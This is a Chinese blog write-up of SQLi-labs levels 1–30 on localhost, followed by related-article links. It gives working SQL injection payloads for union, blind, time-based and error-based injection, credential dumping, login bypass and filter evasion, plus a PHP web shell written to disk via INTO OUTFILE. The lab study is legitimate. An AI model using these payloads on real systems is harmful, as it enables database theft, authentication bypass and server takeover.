补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it!

第一部分:

LESS1:

直接报错,有回显的注入,

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3--+

就可以确定字段然后使用union查询即可

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

接下来就是常规的查库:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查当前数据库

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

查表

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查字段:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查数据:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

LESS2:

这个是数字型,不用加‘单引号,查数据套路和less1一样

确定字段数

http://localhost/sqli-labs-master/Less-2/?id=1 order by 3

LESS3:

闭合方式为’)

http://localhost/sqli-labs-master/Less-3/?id=1') order by 3--+

确定字段后union查询即可

LESS4:

闭合方式为“)

确定字段后union查询即可

http://localhost/sqli-labs-master/Less-4/?id=1") order by 3-- +

LESS5:

这关sql语句正确与否不再返回数据,只返回you are in或者错误提示,因此是盲注

正确情况下,有数据:

http://localhost/sqli-labs-master/Less-5/?id=-1' or left(user(),1)="r"--+

正确情况下,无数据:

http://localhost/sqli-labs-master/Less-5/?id=-1' or 0--+

sql语句直接错误:

http://localhost/sqli-labs-master/Less-5/?id=-1‘

所以对应三种情况,我们只需要关心前两种即可进行基于时间的盲注和基于布尔的盲注,错误时可以基于报错的盲注:

基于bool:

判断当前库:

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(left((select database()),1)='s')--+

用left,依次判断即可,left(str,2)="se",left(str,3)="sec",或者用right函数是一样的含义,从右开始截取

判断库中表:

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='s')--+

放在burp中秒出第一位为字母e,其它同,只需要更换limit即可,limit 0,1表示从下标为0取一条数据

这里需要截取字符串,那么除了left,还可以用substr+ascii

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1)--+

或者用mid加ord,与substr+ascii是一模一样的效果

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1)--+

但是上面的字符串截取函数都需要用到,逗号,要是逗号用不了则需要考虑用正则匹配:

regexp:

查库

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(select database() regexp '^s')--+

查数据时这样用:

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^r')--+

构造一个where链接,那么此时就会用所有的表名来与正则进行匹配,从而得到所有的表明,不需要用到逗号。

或者用like 来进行正则匹配也可以:

http://localhost/sqli-labs-master/Less-5/?id=-1' or 1=(select 1 from information_schema.tables where table_schema='security' and table_name like 'r%')--+

当然除了从^以开头来匹配,也可以使用$从后开始判断。

当然这里是因为前端回显了两种有无数据的情况,要是执行了语句不回显,那可以用到延时注入:

延时注入,肯定要用到逻辑判断条件体,比如 if

这里只要结合到上面布尔盲注中截取字符串所获得的逻辑判断条件来构成if的条件即可

例子:

http://localhost/sqli-labs-master/Less-5/?id=-1' or if(1=1,sleep(3),sleep(5))--+

只要将1=1切换成其它逻辑条件即可

报错注入:

因为这里sql语句错误时直接报错,所以可以通过报错带出数据库中的信息:

  • BigInt等数据类型溢出
  • xpath语法错误
  • count()+rand()+group_by()导致逐渐重复
  • 空间数据类型函数错误

例子1:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

但是这里用到了系统表,当系统表被过滤时,可以用:

当然from 后面的a表只要字段数大于2即可,因此也可以这样:

报错注入时每次只能有一行一列数据,所以dump数据时要和limit相结合:

当然这里要用到union联合,因为这里相当于把数据回显到前端来,因此必须dump出来字段和原来sql语句中字段数是相等的,因此还是得先判断原来的表有多少列,这里dump表和列还是得用到系统表,除非表和列名已知

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,count(*) from (select 1 union select 2 union select 3)a group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))--+

利用 double 数值类型超出范围进行报错注入

http://localhost/sqli-labs-master/Less-5/?id=-1' union select 1,2,(exp(~(select * from (select user())a)))--+

这里因为版本mysql版本原因不再演示,exp就是e的多少次,超过709会溢出报错,所以来带出数据。

接下来还有bigint型注入

union select !(select * from (select user())a)-~0

还有xpath型注入:

主要与两个函数相关,义格式updatexml,一个是extractvalue,区别是updatexml有三个参数,extractvalue只需要有两个参数即可。

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

查数据

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))--+

这里extractvalue和updatexml带出的数据都有长度限制,因此结合字符串截取函数mid或者substr来依次截取即可:

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,(updatexml(1,concat(0x7e,mid((select group_concat(username) from users),2,10),0x7e),1))--+

如果这里concat用不了的话还可以用其他的字符串连接函数来代替,用字符串连接函数查出的数据更完整

reverse()

make_set()

如果不用concat连接的话如下图:

或者利用name_const数据重复性:

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+

但是这种方法貌似dump不出来其它数据,其它报错的函数现查就可以,没必要全部记住,贴一个报错函数链接

http://www.zhutougg.com/2017/01/16/mysqlshu-ju-ku-de-12chong-bao-cuo-zhu-ru/

Less-6

http://localhost/sqli-labs-master/Less-6/?id=-1" or 1--+

这一关和第五关一样,也是盲注,闭合括号的方式变了。

Less-7

http://localhost/sqli-labs-master/Less-7/?id=-1')) union  select 1,2,'<?php @eval($_GET[1]); ?>' into outfile "G:\\ww.php"-- +

直接写入一句话即可

Less-8

http://localhost/sqli-labs-master/Less-8/?id=-1' or 1=0--+

直接盲注即可,没有报错信息,不能报错盲注,只能布尔或者延时

http://localhost/sqli-labs-master/Less-8/?id=-1' or if(1=0,1,0)--+

用延时函数sleep不一定要用if,比如:

Less-9

这一关无论怎么闭合回显都是一样的,因此布尔盲注肯定不行了,报错也不行,那么尝试延时注入

localhost/sqli-labs-master/Less-9/?id=1' or sleep(5)--+ 即可

Less-10

localhost/sqli-labs-master/Less-10/?id=1" or sleep(5)--+

方法和9一样,闭合变成了双引号。

LESS11:

这里是post型注入,登录

admin' or '1 即可

LESS12:

括号闭合方式不同,"双引号闭合,

admin" )or 1#即可

LESS13:

admin' 报错了,那么可以尝试报错注入

admin') or 1# 显示登录成功,admin') or 0#登录失败,可以布尔盲注

报错注入:

admin') order by 2# 正常

admin')  order by 3# 不正常

admin') union select 1,extractvalue(1,concat(0x7e,(select user()),0x7e)) # 结果如下图

进一步dump数据也是可以的

admin') union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_scheme = 'security'),0x7e))#

数据太多只需要字符串截取函数截取一下就可以

admin') union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_scheme = 'security'),1,8),0x7e))#

LESS14:

闭合括号方式和13不同为",其他相同,盲注和报错注入都可以

LESS15:

这一关没有报错提示,因此不能报错注入,括号闭合为'单引号,

a' or 1#  success

a' or 0#  filed

因此可以bool盲注或者时间盲注

LESS16:

这一关和15一样,只是括号闭合方式为 ")

布尔盲注或者延时都可以

LESS17:

update型注入,修改密码处,password处随手' 单引号报错了,此时回显了逻辑

源码里面对uname进行了过滤

所以uname肯定不能注入了

并且在查到已经存在的用户才能够代入update进行更新,因此,所以用户名才要填admin

这里密码最好存的时候hash一下就好了,直接代入肯定有问题,update型注入和select 注入语法差不多,当然这里肯定可以用报错注入,但是不能够布尔盲注,因为这里update不会显示更新失败,除非是语句执行错误,

这里是没有逻辑的正确和错误的,所以盲注只能用延时注入,password 直接' or sleep(5)#即可,其他payload都是一样的

LESS18:

这一关考的是http header头注入,比如这里可以对ua进行注入:

LESS19:

对refeer进行诸注入,和18一样的

LESS20:

这里把第一次的用户名设置到cookie里,第二次又取cookie里的用户名进行了查询,所以cookie可以注入

LESS21:

这一关对cookie进行了base64编码,所以payload对应编码即可

LESS22:

与21一样,只是括号的闭合方式变了,变为双引号

LESS23:

这道题对注释符号进行了过滤并执行sql,所以必须采用闭合的方式来注入,闭合id即可,这里可以使用联合查询方式

LESS24:

这道题可以看成是是update型,

通过注入admin' # 来闭合sql语句,首先注册一个普通用户,admin' #,然后再更新密码,

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='' 从而修改了admin的密码,达到二次注入的效果。

这里在注册的时候虽然对用户名和密码中的恶意字符转义了,但是在改密码时却没有再次进行过滤,导致注入。

LESS25:

这一关主要对or和and进行了过滤

一般逻辑可以用and,&& ,|| 或者or ,^异或,双写,大小写来绕过,这里i不能大小写

当然我们可以用异或来注入,或者用&& || 来注入,or一般也可以用/*or*/进行绕过

LESS26:

这一关过滤的比较多,对空格也进行了过滤,在linux平台上

空格可以代替为:

/**/

%09 TAB 键(水平)

%0a 新建一行

%0c 新的一页

%0d return 功能

%0b TAB 键(垂直)

%a0 空

可以进行union 报错注入,延时或者布尔都可以

LESS27:

这一关主要过滤了union和select,但是可以双写或大小写绕过

可以报错注入:

1‘ and extractvalue(1,concat(0x7e,(selEct group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '1'='1

LESS28:

本题与27差不多,只是括号的闭合方式改变了,变为'单引号加括号,实际黑盒测试可以直接慢慢测。

LESS29:

单引号闭合,还没有过滤,盲注或者报错都可以或者直接联合查询

LESS30:

这个题主要是有两层服务器的原因,造成http传递的参数服务器接收到的不同

第一层是tomcat,第二层是apache,比如index.php?id=1&id=1' or 1# ,那么tomcat获取到的是第一个id,apache获取到的是第二个id,因此注入语句可以成功。

只要匹配到id参数,就截取它的值并返回,并不管后面是不是还有对id参数的重复赋值,从而导致后面的服务器在此获取参数时出错

SQL Labs刷题补坑记录(less1-less30)的更多相关文章

  1. SQL Labs刷题补坑记录(less54-less65)

    LESS54: 只有10次尝试,dump处secret key 直接union 查就可以,括号为单引号闭合 LESS55: 尝试出来闭合的方式为)括号,后面操作与54相同 LESS56: 尝试出来括号 ...

  2. SQL Labs刷题补坑记录(less31-less53)

    LESS31: 双引号直接报错,那么肯定可以报错注入,并且也过滤了一些东西,^异或没有过滤,异或真香 -1" and (if(length(database())=8,1,0)) and & ...

  3. ACM刷题踩坑记录

    2017-12-26: 1.再次被写法坑了好长一会,调了半天的bug,还是没找出来.最后,发现,又坑在这个小细节上了.这样子写,第一个if和第三个else在一次循环中都会执行,然后,就GG了. 要注意 ...

  4. Pikachu靶场SQL注入刷题记录

    数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...

  5. Python 刷题笔记

    Python 刷题笔记 本文记录了我在使用python刷题的时候遇到的知识点. 目录 Python 刷题笔记 选择.填空题 基本输入输出 sys.stdin 与input 运行脚本时传入参数 Pyth ...

  6. NOIp2018停课刷题记录

    Preface 老叶说了高中停课但是初中不停的消息后我就为争取民主献出一份力量 其实就是和老师申请了下让我们HW的三个人听课结果真停了 那么还是珍惜这次机会好好提升下自己吧不然就\(AFO\)了 Li ...

  7. 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb

    目录 刷题记录:[CISCN2019 总决赛 Day2 Web1]Easyweb 一.涉及知识点 1.敏感文件泄露 2.绕过及sql注入 3.文件上传:短标签绕过php过滤 刷题记录:[CISCN20 ...

  8. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

  9. NOI题库分治算法刷题记录

    今天晚自习机房刷题,有一道题最终WA掉两组,极其不爽,晚上回家补完作业欣然搞定它,特意来写篇博文来记录下 (最想吐槽的是这个叫做分治的分类,里面的题目真的需要分治吗...) 先来说下分治法 分治法的设 ...

随机推荐

  1. Jenkins+GitLab+Docker+SpringCloud+Kubernetes实现可持续自动化微服务

    现有混合云平台的场景下,即有线下和线上的环境,又有测试与正式的场景,而且结合了Docker,导致打包内容有所区分,且服务的发布流程复杂起来,手工打包需要在编译阶段就要根据环境到处更改配置,因此纯手工发 ...

  2. spark入门(二)RDD基础操作

    1 简述 spark中的RDD是一个分布式的元素集合. 在spark中,对数据的所有操作不外乎创建RDD,转化RDD以及调用RDD操作进行求值,而这些操作,spark会自动将RDD中的数据分发到集群上 ...

  3. RT-Thread定时器以及结构体指针的一些思考

    定时器分为软件定时器和硬件定时器.顾名思义,软件定时器就是有操作系统提供的软件定时器,硬件定时器就是用硬件芯片提供的定时器. 而在RT-Thread操作系统提供的定时器是软件定时器,但是为了便于管理, ...

  4. python generator与coroutine

    python  generator与coroutine 协程 简单介绍 协程,又称微线程,纤程,英文名Coroutine.协程是一种用户态的轻量级线程,又称微线程.协程拥有自己的寄存器上下文和栈,调度 ...

  5. CRM 总结

    目录 一. CRM客户关系管理系统 1. CRM是什么? 里面都有哪些功能(业务)? 2. 什么是公户?什么是私户?为什么要做这个区分? 3. 请列举出CRM系统中的表 4. 通过ORM操作对数据库的 ...

  6. webpack4基础入门操作(一)

    基于webpack4实践:开始:打开控制面板,制定到创建Webpack的文件夹. 并创建初始配置文件package.json 输入命令:npm init -y,在文件夹中出现一个package.jso ...

  7. Linux系统下word转pdf,xls转pdf,ppt转pdf

    word转换pdf的技术方案,供参考.[doc/docx/ppt/pptx/xls/xlsx均支持转换]           本方案是Java结合shell命令完成,不同于以往的仅依赖java组件转换 ...

  8. 托管堆和垃圾回收(GC)

    一.基础 首先,为了深入了解垃圾回收(GC),我们要了解一些基础知识: CLR:Common Language Runtime,即公共语言运行时,是一个可由多种面向CLR的编程语言使用的"运 ...

  9. JVM监控jconsole

    1. 描述 ​ 程序在开发过程中,有可能会发生CPU飙高.内存溢出等问题或系统在后期调优阶段,不可避免的要监控JVM情况,JDK自带的Jconsole监控工具,结合Tomcat使用非常方便,占用内存小 ...

  10. python数据库-mongoDB的高级查询操作(55)

    一.MongoDB索引 为什么使用索引? 假设有一本书,你想看第六章第六节讲的是什么,你会怎么做,一般人肯定去看目录,找到这一节对应的页数,然后翻到这一页.这就是目录索引,帮助读者快速找到想要的章节. ...